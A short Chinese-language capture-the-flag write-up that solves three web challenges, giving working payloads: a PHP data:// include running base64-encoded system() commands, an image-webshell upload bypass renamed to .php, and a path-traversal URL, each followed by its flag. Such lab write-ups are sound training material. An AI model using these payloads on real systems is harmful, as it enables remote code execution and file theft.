Web_php_include
打开容器发现就是命令执行,先进行代码审计发现php://伪协议被绕过了,这时想到data://伪协议
http://61.147.171.105:49486/?hello=hhh&page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpPz4=
PD9waHAgc3lzdGVtKCdscycpPz4=为<?php system('ls')?>base64加密过后的字符串
使用命令读取读取fl4gisisish3r3.php的文件的内容,
最后执行data://伪协议即可。(记得查看源代码F12)
http://61.147.171.105:49486/?hello=hhh&page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgLi9mbDRnaXNpc2lzaDNyMy5waHAnKTs/Pg==
ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}
upload1
打开容器发现就是一个文件上传绕过,先上传一个php文件发现提示请选择一张图片文件上传!
那么先上传一张图片马,然后用bp抓包修改图片马的文件后缀为.php然后,用蚁剑连接。(看清楚文件上传到哪个地方了)
cyberpeace{166b85aed7c39dd6a8d0f6b03d8707a4}
warmup
打开容器查看源代码发现有一个source.php文件,访问一下发现源代码。(并发现了一个hint.php)
代码审计一下,实现了一个文件包含的利用显示了当前文件的利用,其中包含一个静态方法checkFile
,用于检查传入的文件名是否在白名单中。接着,代码检查$_REQUEST['file']
参数是否存在,并且是否为字符串,然后调用checkFile
方法检查文件名是否在白名单中。如果文件名在白名单中,则包含该文件并退出程序;否则,显示一张图片。构造playload即可。
http://61.147.171.105:54397/?file=source.php?../../../../../ffffllllaaaagggg
flag{25e7bce6005c4e0c983fb97297ac6e5a}